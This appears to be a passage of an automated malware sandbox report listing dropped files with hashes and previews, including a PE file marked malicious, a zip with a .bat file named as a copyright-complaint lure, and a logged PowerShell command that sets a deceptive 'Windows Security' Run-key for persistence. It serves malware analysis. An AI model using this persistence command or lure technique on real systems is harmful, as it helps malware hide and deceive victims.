              SHA-256:9FAEAA45E8CC986AF56F28350B38238B03C01C355E9564B849604B8D690919C5
              SHA-512:5F54C9E87F2510C56F3CF2CEEB5B5AD7711ABD9F85A1FF84E74DD82D15181505E7E5428EAE6FF823F1190964EB0A82A569273A4562EC4131CECFA00A9D0D02AA
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................{.........i.............................................................Rich....................PE..L...>|.a.........."!.........................................................@......{.....@A......................................... ...................#...0.......#..8............................#..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 02:45:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2673
              Entropy (8bit):3.984715673458794
              Encrypted:false
              SSDEEP:
              MD5:1DCB426C0610BF71724D7D522D26F5C3
              SHA1:526910AE85CD959E30910D0896DA84CB3B7C4210
              SHA-256:4D8D3F3CCA4E3A42BF643D13271E6C70356C3B7F740658A44A50CF3D9D73F10F
              SHA-512:4B16D9AB1E6DE066631AFC04BB9F8B164DC069913B4B60BF2EDF66A29447CEE20B7C79FDD0008E33234B0C3A35ECE8788ABE842AAD27B25571B68806A89E1E3C
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@.. ...$+.,.....x..}...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........s........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 02:45:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2675
              Entropy (8bit):3.9974999434945513
              Encrypted:false
              SSDEEP:
              MD5:B6678A29CCE449A86612C1709E779905
              SHA1:55ADCCD78D9A2829916C545CD61C33FE68585AE7
              SHA-256:3334C3B532EE49084128394C53557095574E476413B76D995FC3093848D60DC7
              SHA-512:F4649CC1DC620F6A668FF25D06F61CE381D3A7F69901E63CDA9D3643819821255D6A37276A5E7A567E405DA07BD89C5184B50EF6DB3AD35D17DD5541067F2B0B
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@.. ...$+.,....W...}...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........s........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2689
              Entropy (8bit):4.00661128833755
              Encrypted:false
              SSDEEP:
              MD5:3BEF963E5185E933244E0184BE9CF2E8
              SHA1:6B3A2792611C8C9EB423158D52F1B6510CE752BA
              SHA-256:3D670B61283A576057C57603993E259A9AD4AB89B0951E57EFDC03901B423EBE
              SHA-512:DD545DCE5D54C5BD9675850A51B938883550D05C20FB653CE79FF00A38873C6D6325B770AC062806B9526109B05EC4331667DA3CDD9FEBF3D6F6BDA27D97428F
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........s........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 02:45:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2677
              Entropy (8bit):3.998676344588755
              Encrypted:false
              SSDEEP:
              MD5:B0AF7302D6F0FC1074E453B7BB6D5625
              SHA1:07E0E9AFAE21443362DB053002BD06AAA0A461E2
              SHA-256:4A79B36A05060D3351CCE538D305A39BD9190D285789E866AB9F0DD32EBEC8AF
              SHA-512:88B37CC8893A1E5B91FDEB36E7BBC2E322D7ED0E028BBAE92A6868201D9EE28800A70199836E1A4ACF5A815D7447E74522EE455B9CAB73C203B781CA816DD9AA
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@.. ...$+.,.......}...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........s........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 02:45:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2677
              Entropy (8bit):3.987049439722484
              Encrypted:false
              SSDEEP:
              MD5:5123AB9A43757B20E8FC507C12D1A907
              SHA1:307706F2D17A82AAF940238BB892AD9CDEBFD87B
              SHA-256:2C1B5355A0905E88D5A626C8C5A090E9D8C962D8C352E33E2F3EC23D54605869
              SHA-512:4B83609E7361E1AB7213A648224929DEB4C109C3247F00A7D7A32D463D15971FA3779C0B8E3A706D2BC3E5444234A4460FB0A4B29D855FE54064DB9E10D4922A
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@.. ...$+.,........}...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........s........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 02:45:47 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
              Category:dropped
              Size (bytes):2679
              Entropy (8bit):3.9960074196913102
              Encrypted:false
              SSDEEP:
              MD5:FDC4E288165059DBE4D795FD8427A02D
              SHA1:686D9F4093950BF0D7694C910A80D018E8D1B732
              SHA-256:024AB6C2031E72B8B7ACEDD1DD998E027AD78DC0EABFE55FFC12DA21BACD8311
              SHA-512:54F54322DC9744014BDF4610AF8C576B37D6A073843C31D117B87D7A423673DEEC5F571C2313F20B0DEDDCCC2ED689DF14A1AE2865E1B777D6678FB4887D6E86
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@.. ...$+.,.......}...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IPY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........s........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

              C:\Users\user\Downloads\Compilation of copyright-protected videos and images.zip (copy)

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:Zip archive data, at least v1.0 to extract, compression method=store
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:DBFF406597DC0DA58E33F829CA5C458C
              SHA1:0034BE28FF781BA70C07F59BA88FF3F4B02C5DBB
              SHA-256:66E567D768F28925940B0D2C006F0752B6EE64505805792FCB3348445DF1C426
              SHA-512:CB89441A988054C361C4CD9D4D54E1099C9DB47C26CE575E711E2F1A9D48071ECA39BA31B70878283773A90433DA942FFB2D82D327D6A74F2CC80036F7ED7EBC
              Malicious:false
              Reputation:unknown
              Preview:PK........5aNY................photo/PK........$.FYZB...;..R...>...photo/Compilation of copyright-protected videos and images.bat\.g...?...`..a..J....m....0.).o0.E......=zu?..C.............J..H. .mOH>K|..d$.,.4..F[$sP.....BH4nQ...Cz..J.Q......~P.OD."....'d.^3..l.'u.40....0..h.I..R_. :.!...Q....s8.s...I.);.%.g..3.%!lmX=}.pM..../.Ox..lw......bBn...g..M......ZB*U|..IC.h1T.!D.|..S...S.>.....LYY.^...s...#...Q9f.v.n...Z..iV..lR).B[...B...j.I...`.....E........R&.P.u>...1..l.....v.....e.C..I........ZZf..7H{.M"..!L.X.F'........k.....O.>...'....y..6.9&.`.zr..H.s..R.q.fx...m...[s.w......o$....D ......b.AT..k....<1....N....j..<..VV,..\><...IM.N...3...R...&.a=>...^...l..F..[F3!.).z..$T.(]..r.Cx.....a..U..M....d.5|.R.}..X.a.\v....{S'.;......o..:....W.0n..........l..0.zLHBdG:.F.;.co.%.k.D...P.;6....D.s......K./.N..q.\...8!..I.".m1..]$).o....Yt.=$$..DwZ....h>u....dF.R....4.9y.qk.i?Q._H....Z4..9...&.....i.pkA....y.+|MA..#...+........<......^.V.....~?.)G7.....

              C:\Users\user\Downloads\Compilation of copyright-protected videos and images.zip.crdownload

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:Zip archive data, at least v1.0 to extract, compression method=store
              Category:dropped
              Size (bytes):108502121
              Entropy (8bit):7.999996127965878
              Encrypted:true
              SSDEEP:
              MD5:DBFF406597DC0DA58E33F829CA5C458C
              SHA1:0034BE28FF781BA70C07F59BA88FF3F4B02C5DBB
              SHA-256:66E567D768F28925940B0D2C006F0752B6EE64505805792FCB3348445DF1C426
              SHA-512:CB89441A988054C361C4CD9D4D54E1099C9DB47C26CE575E711E2F1A9D48071ECA39BA31B70878283773A90433DA942FFB2D82D327D6A74F2CC80036F7ED7EBC
              Malicious:false
              Reputation:unknown
              Preview:PK........5aNY................photo/PK........$.FYZB...;..R...>...photo/Compilation of copyright-protected videos and images.bat\.g...?...`..a..J....m....0.).o0.E......=zu?..C.............J..H. .mOH>K|..d$.,.4..F[$sP.....BH4nQ...Cz..J.Q......~P.OD."....'d.^3..l.'u.40....0..h.I..R_. :.!...Q....s8.s...I.);.%.g..3.%!lmX=}.pM..../.Ox..lw......bBn...g..M......ZB*U|..IC.h1T.!D.|..S...S.>.....LYY.^...s...#...Q9f.v.n...Z..iV..lR).B[...B...j.I...`.....E........R&.P.u>...1..l.....v.....e.C..I........ZZf..7H{.M"..!L.X.F'........k.....O.>...'....y..6.9&.`.zr..H.s..R.q.fx...m...[s.w......o$....D ......b.AT..k....<1....N....j..<..VV,..\><...IM.N...3...R...&.a=>...^...l..F..[F3!.).z..$T.(]..r.Cx.....a..U..M....d.5|.R.}..X.a.\v....{S'.;......o..:....W.0n..........l..0.zLHBdG:.F.;.co.%.k.D...P.;6....D.s......K./.N..q.\...8!..I.".m1..]$).o....Yt.=$$..DwZ....h>u....dF.R....4.9y.qk.i?Q._H....Z4..9...&.....i.pkA....y.+|MA..#...+........<......^.V.....~?.)G7.....

              C:\Users\user\Downloads\f36d713e-4d31-4d49-8456-6684bc58a63a.tmp

              Download File
              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
              File Type:Zip archive data, at least v1.0 to extract, compression method=store
              Category:dropped
              Size (bytes):7306
              Entropy (8bit):7.968041420752221
              Encrypted:false
              SSDEEP:
              MD5:87A4432EDEE3F027F73349403802274B
              SHA1:D2C6E6F59A0FBB86EFD467F5547D46B62E1907E1
              SHA-256:803E9ACF1E608CD0695AAE2D3D120C0440812BEC81806F3B45A38E26EE16793B
              SHA-512:AD12E7E487A9D1B996DED3206D64BB90933CB0A26FA25BAA179D62C4918AD410E9E4692F7C8BE9EF2B865F5DC395A10334FDD854718DE26678734DAEEECD8FC4
              Malicious:false
              Reputation:unknown
              Preview:PK........5aNY................photo/PK........$.FYZB...;..R...>...photo/Compilation of copyright-protected videos and images.bat\.g...?...`..a..J....m....0.).o0.E......=zu?..C.............J..H. .mOH>K|..d$.,.4..F[$sP.....BH4nQ...Cz..J.Q......~P.OD."....'d.^3..l.'u.40....0..h.I..R_. :.!...Q....s8.s...I.);.%.g..3.%!lmX=}.pM..../.Ox..lw......bBn...g..M......ZB*U|..IC.h1T.!D.|..S...S.>.....LYY.^...s...#...Q9f.v.n...Z..iV..lR).B[...B...j.I...`.....E........R&.P.u>...1..l.....v.....e.C..I........ZZf..7H{.M"..!L.X.F'........k.....O.>...'....y..6.9&.`.zr..H.s..R.q.fx...m...[s.w......o$....D ......b.AT..k....<1....N....j..<..VV,..\><...IM.N...3...R...&.a=>...^...l..F..[F3!.).z..$T.(]..r.Cx.....a..U..M....d.5|.R.}..X.a.\v....{S'.;......o..:....W.0n..........l..0.zLHBdG:.F.;.co.%.k.D...P.;6....D.s......K./.N..q.\...8!..I.".m1..]$).o....Yt.=$$..DwZ....h>u....dF.R....4.9y.qk.i?Q._H....Z4..9...&.....i.pkA....y.+|MA..#...+........<......^.V.....~?.)G7.....

              \Device\ConDrv

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):213
              Entropy (8bit):5.109444706480085
              Encrypted:false
              SSDEEP:
              MD5:7D39BECB08225A7BCBD38EEDE354BACA
              SHA1:40A4B45D6A75F1459746C38558209663CF9973B9
              SHA-256:FEC80F393C6528B6072144EF3B2A4535235B42A966397D6EED0A1B88F91C1805
              SHA-512:BC78A433BFB3163A0D2D9E636DB28531F130DEAD20A324E6DA0E4AE575462098BE5FD8C9EF760DA2B5AB1D12AE5C77E0E9ACE2C30A81DAE2F92E1D51C5507D93
              Malicious:false
              Reputation:unknown
              Preview:New-Itemmroperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\user\AppData\Local\WindowsSecurity.lnk' -Force ..

              \Device\Null

              Download File
              Process:C:\Windows\SysWOW64\chcp.com
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):25
              Entropy (8bit):4.103465189601646
              Encrypted:false
              SSDEEP:
              MD5:D38306034A39FBDFDAC172946D5EF53F
              SHA1:346E6FF4E144749719368D4A27675C44E742BDCF
              SHA-256:2B06CDF30ADE079C57F6E8EC16FA27563855265463BEDE417A2DD63A631B6A21
              SHA-512:7F3CFF34DB2E1528BA3928E3C41CEC4C6407DFAB4CD57FA298CCD06AA65696FB3321DFCC24A0BF5A7D546F1216E3506F1D26B09B11E5511AD33219913FA149D4
              Malicious:false
              Reputation:unknown
              Preview:Active code page: 65001..

              Static File Info

              ⊘No static file info